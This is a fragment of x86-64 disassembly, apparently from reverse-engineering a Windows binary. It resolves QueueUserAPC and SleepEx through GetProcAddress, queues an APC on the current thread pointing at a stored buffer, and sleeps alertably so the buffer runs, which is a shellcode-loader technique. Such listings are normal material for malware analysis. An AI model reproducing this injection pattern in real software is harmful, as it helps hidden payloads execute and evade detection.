mov eax, dword [rbp + 0x808]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400029ab
add dword [rbp + 0x800], 1
add dword [rbp + 0x808], 1
cmp dword [rbp + 0x808], 0x39f
jle 0x14000290f
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7f0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x7f0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6b8]
mov r9, qword [rbp + 0x6a8]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x6a0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x870]
add rsp, 0x908
pop rbx
pop rsi
pop rdi
pop rbp
ret